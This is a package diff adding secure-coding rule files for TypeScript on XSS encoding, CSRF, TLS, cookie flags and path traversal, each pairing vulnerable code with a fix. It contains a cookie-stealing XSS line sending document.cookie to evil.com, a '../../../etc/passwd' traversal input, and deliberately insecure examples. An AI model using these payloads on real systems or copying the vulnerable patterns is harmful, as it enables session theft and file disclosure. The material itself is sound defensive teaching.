@sun-asterisk/sunlint 1.3.39 → 1.3.40

package/skill-assets/sunlint-code-quality/rules/typescript/S023-dynamic-js-encoding.md

@@ -0,0 +1,52 @@
+---
+title: Output Encoding For Dynamic JS/JSON
+impact: HIGH
+impactDescription: prevents injection in JavaScript contexts
+tags: xss, javascript, json, encoding, security
+---
+
+## Output Encoding For Dynamic JS/JSON
+
+Embedding user data in JavaScript or JSON requires proper encoding to prevent code injection.
+
+**Incorrect (unescaped data in JS):**
+
+```typescript
+// XSS in inline script
+app.get('/profile', (req, res) => {
+  const username = req.user.name;  // "</script><script>alert('xss')"
+  res.send(`<script>var user = "${username}";</script>`);
+});
+```
+
+**Correct (proper JSON encoding):**
+
+```typescript
+app.get('/profile', (req, res) => {
+  const userData = {
+    name: req.user.name,
+    email: req.user.email
+  };
+  
+  // JSON.stringify properly escapes special characters
+  const safeData = JSON.stringify(userData);
+  
+  res.send(`
+    <script>
+      var user = ${safeData};
+    </script>
+  `);
+});
+
+// For React/Next.js - pass via props
+<script
+  dangerouslySetInnerHTML={{
+    __html: `window.__INITIAL_DATA__ = ${JSON.stringify(data)}`
+  }}
+/>
+
+// Better: use data attributes
+<div id="app" data-user={JSON.stringify(user)}></div>
+```
+
+**Tools:** ESLint, SonarQube, Manual Review

package/skill-assets/sunlint-code-quality/rules/typescript/S025-server-validation.md

@@ -0,0 +1,62 @@
+---
+title: Always Validate Client Data Server-side
+impact: MEDIUM
+impactDescription: ensures input validation cannot be bypassed
+tags: validation, server-side, input, sanitization, security
+---
+
+## Always Validate Client Data Server-side
+
+Client-side validation is for UX only - it can be bypassed easily. All input must be validated server-side.
+
+**Incorrect (trusting client validation):**
+
+```typescript
+// No server validation - trusting frontend
+app.post('/transfer', async (req, res) => {
+  const { amount, toAccount } = req.body;
+  await transferMoney(req.user.id, toAccount, amount);
+  res.json({ success: true });
+});
+```
+
+**Correct (comprehensive server validation):**
+
+```typescript
+import { z } from 'zod';
+
+const transferSchema = z.object({
+  amount: z.number().positive().max(10000),
+  toAccount: z.string().regex(/^[A-Z]{2}\d{18}$/)  // IBAN format
+});
+
+app.post('/transfer', async (req, res) => {
+  // Validate everything server-side
+  const result = transferSchema.safeParse(req.body);
+  if (!result.success) {
+    return res.status(400).json({ errors: result.error.issues });
+  }
+  
+  const { amount, toAccount } = result.data;
+  
+  // Additional business validation
+  const account = await findAccount(toAccount);
+  if (!account) {
+    return res.status(404).json({ error: 'Account not found' });
+  }
+  
+  await transferMoney(req.user.id, toAccount, amount);
+  res.json({ success: true });
+});
+```
+
+**Validation types:**
+
+| Type | What to Check |
+|------|---------------|
+| Format | Email, phone, UUID, dates |
+| Range | Min/max values, string length |
+| Business | Account exists, permissions |
+| Sanitization | Strip dangerous chars |
+
+**Tools:** Zod, Joi, class-validator, SonarQube

package/skill-assets/sunlint-code-quality/rules/typescript/S026-tls-encryption.md

@@ -0,0 +1,47 @@
+---
+title: TLS Encryption For All Connections
+impact: CRITICAL
+impactDescription: protects data in transit from interception
+tags: tls, encryption, https, transport, security
+---
+
+## TLS Encryption For All Connections
+
+All network communications must use TLS to prevent eavesdropping and man-in-the-middle attacks.
+
+**Incorrect (unencrypted connections):**
+
+```typescript
+// HTTP instead of HTTPS
+fetch('http://api.example.com/data');
+
+// Unencrypted database connection
+mongoose.connect('mongodb://db.example.com/app');
+```
+
+**Correct (TLS everywhere):**
+
+```typescript
+// HTTPS for all external calls
+fetch('https://api.example.com/data');
+
+// TLS for database
+mongoose.connect('mongodb://db.example.com/app', {
+  tls: true,
+  tlsCAFile: '/path/to/ca.pem'
+});
+
+// HSTS header to force HTTPS
+app.use(helmet.hsts({
+  maxAge: 31536000,
+  includeSubDomains: true
+}));
+```
+
+**Requirements:**
+- All HTTP endpoints must redirect to HTTPS
+- Database connections must use TLS
+- Internal service-to-service calls must use TLS
+- HSTS headers should be enabled
+
+**Tools:** SSLyze, OWASP ZAP, Qualys SSL Labs

package/skill-assets/sunlint-code-quality/rules/typescript/S027-mtls-validation.md

@@ -0,0 +1,50 @@
+---
+title: Validate mTLS Certificates Before Auth
+impact: CRITICAL
+impactDescription: ensures mutual authentication between services
+tags: mtls, certificates, authentication, service-mesh, security
+---
+
+## Validate mTLS Certificates Before Auth
+
+Mutual TLS ensures both parties are authenticated. Always validate client certificates before processing requests.
+
+**Incorrect (skipping certificate validation):**
+
+```typescript
+// Accepting any client certificate
+const server = https.createServer({
+  requestCert: true,
+  rejectUnauthorized: false  // DANGEROUS!
+}, app);
+```
+
+**Correct (proper mTLS validation):**
+
+```typescript
+const server = https.createServer({
+  key: fs.readFileSync('server-key.pem'),
+  cert: fs.readFileSync('server-cert.pem'),
+  ca: fs.readFileSync('ca-cert.pem'),
+  requestCert: true,
+  rejectUnauthorized: true  // Reject invalid certificates
+}, app);
+
+// Additional validation in middleware
+app.use((req, res, next) => {
+  const cert = req.socket.getPeerCertificate();
+  
+  if (!cert || !cert.subject) {
+    return res.status(401).json({ error: 'Client certificate required' });
+  }
+  
+  // Validate certificate attributes
+  if (!allowedServices.includes(cert.subject.CN)) {
+    return res.status(403).json({ error: 'Service not authorized' });
+  }
+  
+  next();
+});
+```
+
+**Tools:** OpenSSL, Certificate Pinning, Service Mesh (Istio, Linkerd)

package/skill-assets/sunlint-code-quality/rules/typescript/S028-upload-limits.md

@@ -0,0 +1,65 @@
+---
+title: Limit Upload File Size And Count
+impact: MEDIUM
+impactDescription: prevents denial of service attacks
+tags: upload, file-size, dos, limits, security
+---
+
+## Limit Upload File Size And Count
+
+Unlimited uploads can exhaust disk space and memory, causing denial of service.
+
+**Incorrect (no limits):**
+
+```typescript
+// No size limit
+app.post('/upload', upload.single('file'), handler);
+
+// No file count limit
+app.post('/upload', upload.array('files'), handler);
+```
+
+**Correct (enforce limits):**
+
+```typescript
+import multer from 'multer';
+
+const upload = multer({
+  limits: {
+    fileSize: 5 * 1024 * 1024,  // 5MB max
+    files: 5,                    // Max 5 files
+    fields: 10,                  // Max 10 form fields
+  },
+  fileFilter: (req, file, cb) => {
+    const allowedTypes = ['image/jpeg', 'image/png', 'application/pdf'];
+    if (!allowedTypes.includes(file.mimetype)) {
+      return cb(new Error('Invalid file type'));
+    }
+    cb(null, true);
+  }
+});
+
+app.post('/upload', 
+  upload.array('files', 5),  // Max 5 files
+  (err, req, res, next) => {
+    if (err instanceof multer.MulterError) {
+      if (err.code === 'LIMIT_FILE_SIZE') {
+        return res.status(413).json({ error: 'File too large' });
+      }
+      if (err.code === 'LIMIT_FILE_COUNT') {
+        return res.status(400).json({ error: 'Too many files' });
+      }
+    }
+    next(err);
+  },
+  handler
+);
+```
+
+**Recommended limits:**
+- Images: 5-10MB
+- Documents: 10-50MB
+- Max files per request: 5-10
+- Total storage per user: Configurable
+
+**Tools:** Multer, Express file limits, NGINX limits

package/skill-assets/sunlint-code-quality/rules/typescript/S029-csrf-protection.md

@@ -0,0 +1,62 @@
+---
+title: Apply CSRF Protection
+impact: HIGH
+impactDescription: prevents cross-site request forgery attacks
+tags: csrf, tokens, forms, security
+---
+
+## Apply CSRF Protection
+
+CSRF attacks force authenticated users to perform unintended actions.
+
+**Incorrect (no CSRF protection):**
+
+```html
+<!-- No CSRF token - vulnerable -->
+<form action="/transfer" method="POST">
+  <input name="amount" value="1000">
+  <button>Transfer</button>
+</form>
+```
+
+**Correct (CSRF protection):**
+
+```typescript
+import csrf from 'csurf';
+
+const csrfProtection = csrf({ cookie: true });
+
+app.get('/transfer', csrfProtection, (req, res) => {
+  res.render('transfer', { csrfToken: req.csrfToken() });
+});
+
+app.post('/transfer', csrfProtection, (req, res) => {
+  // Token validated automatically
+  await processTransfer(req.body);
+});
+```
+
+```html
+<form action="/transfer" method="POST">
+  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
+  <input name="amount">
+  <button>Transfer</button>
+</form>
+```
+
+```typescript
+// SameSite cookies as additional protection
+res.cookie('session', token, {
+  httpOnly: true,
+  secure: true,
+  sameSite: 'strict'
+});
+
+// For SPAs - use Bearer tokens
+fetch('/api/transfer', {
+  method: 'POST',
+  headers: { 'Authorization': `Bearer ${token}` }
+});
+```
+
+**Tools:** csurf, SameSite cookies, Bearer tokens

package/skill-assets/sunlint-code-quality/rules/typescript/S030-directory-browsing.md

@@ -0,0 +1,52 @@
+---
+title: Disable Directory Browsing
+impact: MEDIUM
+impactDescription: prevents file enumeration
+tags: directory, listing, file-exposure, security
+---
+
+## Disable Directory Browsing
+
+Directory listing exposes file structure and potentially sensitive files.
+
+**Incorrect (directory listing enabled):**
+
+```javascript
+// Express static with directory listing
+app.use(express.static('public', { index: false }));
+
+// NGINX default may allow listing
+location /files/ {
+  autoindex on;  // Allows listing!
+}
+```
+
+**Correct (directory listing disabled):**
+
+```javascript
+// Express - no listing by default, but ensure index
+app.use(express.static('public', {
+  index: 'index.html',
+  dotfiles: 'deny'
+}));
+
+// Custom 404 for missing files
+app.use((req, res) => {
+  res.status(404).json({ error: 'Not found' });
+});
+```
+
+```nginx
+# NGINX - disable autoindex
+location /files/ {
+  autoindex off;
+  try_files $uri $uri/ =404;
+}
+```
+
+```apache
+# Apache - disable in .htaccess
+Options -Indexes
+```
+
+**Tools:** Web server configuration, Security scan

package/skill-assets/sunlint-code-quality/rules/typescript/S031-secure-cookie-flag.md

@@ -0,0 +1,48 @@
+---
+title: Set Secure Flag On Session Cookies
+impact: HIGH
+impactDescription: prevents cookie theft over unencrypted connections
+tags: cookies, secure, https, session, security
+---
+
+## Set Secure Flag On Session Cookies
+
+Without the Secure flag, cookies can be sent over unencrypted HTTP connections.
+
+**Incorrect (no Secure flag):**
+
+```typescript
+res.cookie('session', token);  // No flags!
+```
+
+**Correct (Secure flag set):**
+
+```typescript
+res.cookie('session', token, {
+  secure: true,  // HTTPS only
+  httpOnly: true,
+  sameSite: 'strict'
+});
+```
+
+**Production enforcement:**
+
+```typescript
+const isProduction = process.env.NODE_ENV === 'production';
+
+app.use(session({
+  cookie: {
+    secure: isProduction,  // Enforce in production
+    httpOnly: true,
+    sameSite: 'strict',
+    maxAge: 3600000
+  }
+}));
+
+// Fail if HTTPS not configured in production
+if (isProduction && !process.env.HTTPS_ENABLED) {
+  throw new Error('HTTPS required in production');
+}
+```
+
+**Tools:** helmet.js, Session libraries

package/skill-assets/sunlint-code-quality/rules/typescript/S032-httponly-cookie.md

@@ -0,0 +1,36 @@
+---
+title: Set HttpOnly On Session Cookies  
+impact: MEDIUM
+impactDescription: prevents cookie theft via XSS
+tags: cookies, httponly, xss, session, security
+---
+
+## Set HttpOnly On Session Cookies
+
+Without HttpOnly, JavaScript can read cookie values, enabling XSS attacks to steal sessions.
+
+**Incorrect (no HttpOnly):**
+
+```typescript
+res.cookie('session', token);  // Accessible via document.cookie
+```
+
+**Correct (HttpOnly set):**
+
+```typescript
+res.cookie('session', token, {
+  httpOnly: true,  // Not accessible to JavaScript
+  secure: true,
+  sameSite: 'strict'
+});
+```
+
+**XSS attack example (prevented by HttpOnly):**
+
+```javascript
+// Attacker's XSS payload (blocked by HttpOnly)
+fetch('https://evil.com/steal?cookie=' + document.cookie);
+// With HttpOnly, session cookie is NOT in document.cookie
+```
+
+**Tools:** Browser DevTools, OWASP ZAP

package/skill-assets/sunlint-code-quality/rules/typescript/S033-samesite-cookie.md

@@ -0,0 +1,46 @@
+---
+title: Set SameSite On Session Cookies
+impact: MEDIUM
+impactDescription: provides CSRF protection
+tags: cookies, samesite, csrf, session, security
+---
+
+## Set SameSite On Session Cookies
+
+SameSite attribute prevents cookies from being sent in cross-site requests, providing CSRF protection.
+
+**Incorrect (no SameSite):**
+
+```typescript
+res.cookie('session', token);  // Default may be 'Lax' in modern browsers
+```
+
+**Correct (SameSite set):**
+
+```typescript
+// Strict - most secure, may break legitimate cross-site flows
+res.cookie('session', token, {
+  sameSite: 'strict',
+  httpOnly: true,
+  secure: true
+});
+
+// Lax - allows top-level navigation (clicking links)
+res.cookie('session', token, {
+  sameSite: 'lax',
+  httpOnly: true,
+  secure: true
+});
+```
+
+**SameSite options:**
+
+| Value | Behavior |
+|-------|----------|
+| `strict` | Never sent cross-site |
+| `lax` | Sent for top-level navigation |
+| `none` | Always sent (requires Secure) |
+
+**Recommended:** `strict` for session cookies
+
+**Tools:** Browser DevTools, Security Scan

package/skill-assets/sunlint-code-quality/rules/typescript/S034-host-prefix-cookie.md

@@ -0,0 +1,50 @@
+---
+title: Use __Host- Prefix For Cookies
+impact: MEDIUM
+impactDescription: ensures cookie is domain-locked
+tags: cookies, prefix, domain, security
+---
+
+## Use __Host- Prefix For Cookies
+
+The `__Host-` prefix ensures cookies are only sent to the exact host, preventing subdomain attacks.
+
+**Incorrect (no prefix):**
+
+```typescript
+res.cookie('session', token, {
+  secure: true,
+  path: '/'
+});
+// Cookie could be set by subdomain attacker
+```
+
+**Correct (__Host- prefix):**
+
+```typescript
+res.cookie('__Host-session', token, {
+  secure: true,
+  path: '/',
+  httpOnly: true,
+  sameSite: 'strict'
+  // Domain must NOT be set for __Host-
+});
+```
+
+**__Host- requirements:**
+- Must have `Secure` flag
+- Must have `Path=/`
+- Must NOT have `Domain` attribute
+- Cannot be set from subdomain
+
+**Alternative - __Secure- prefix:**
+
+```typescript
+// Less restrictive, just requires Secure
+res.cookie('__Secure-session', token, {
+  secure: true,
+  domain: 'example.com'  // Allowed with __Secure-
+});
+```
+
+**Tools:** Browser DevTools, Security Audit

package/skill-assets/sunlint-code-quality/rules/typescript/S035-app-hostnames.md

@@ -0,0 +1,49 @@
+---
+title: Host Apps On Different Hostnames
+impact: MEDIUM
+impactDescription: provides cookie and origin isolation
+tags: hostname, isolation, same-origin, security
+---
+
+## Host Apps On Different Hostnames
+
+Different applications on the same hostname can access each other's cookies and storage.
+
+**Incorrect (shared hostname):**
+
+```
+https://example.com/admin    # Admin panel
+https://example.com/api      # API
+https://example.com/app      # User app
+# All share cookies and localStorage!
+```
+
+**Correct (separate hostnames):**
+
+```
+https://admin.example.com    # Admin panel
+https://api.example.com      # API
+https://app.example.com      # User app
+# Each has isolated cookies and storage
+```
+
+**Benefits:**
+- Cookie isolation
+- localStorage isolation
+- Same-origin policy protection
+- Independent security policies
+
+**Configuration:**
+
+```typescript
+// CORS for separate origins
+app.use(cors({
+  origin: [
+    'https://app.example.com',
+    'https://admin.example.com'
+  ],
+  credentials: true
+}));
+```
+
+**Tools:** Infrastructure Planning, Security Audit

package/skill-assets/sunlint-code-quality/rules/typescript/S036-internal-file-paths.md

@@ -0,0 +1,53 @@
+---
+title: Use Internal Data For File Paths
+impact: CRITICAL
+impactDescription: prevents path traversal attacks
+tags: file-path, path-traversal, lfi, input-validation, security
+---
+
+## Use Internal Data For File Paths
+
+Never construct file paths using user input directly. Path traversal attacks can access any file on the system.
+
+**Incorrect (user-controlled paths):**
+
+```typescript
+// Path traversal vulnerability
+app.get('/download', (req, res) => {
+  const filename = req.query.file;
+  res.sendFile(`/uploads/${filename}`);
+  // Attacker: ?file=../../../etc/passwd
+});
+```
+
+**Correct (validated internal paths):**
+
+```typescript
+import path from 'path';
+
+app.get('/download', (req, res) => {
+  const filename = req.query.file;
+  
+  // Sanitize: remove path components
+  const safeName = path.basename(filename);
+  
+  // Validate against allowlist
+  const allowedFiles = await getUploadedFiles(req.user.id);
+  if (!allowedFiles.includes(safeName)) {
+    return res.status(404).json({ error: 'File not found' });
+  }
+  
+  // Use absolute path with validation
+  const filePath = path.join('/uploads', safeName);
+  const resolved = path.resolve(filePath);
+  
+  // Ensure path is within allowed directory
+  if (!resolved.startsWith('/uploads/')) {
+    return res.status(400).json({ error: 'Invalid path' });
+  }
+  
+  res.sendFile(resolved);
+});
+```
+
+**Tools:** SonarQube, Semgrep, OWASP ZAP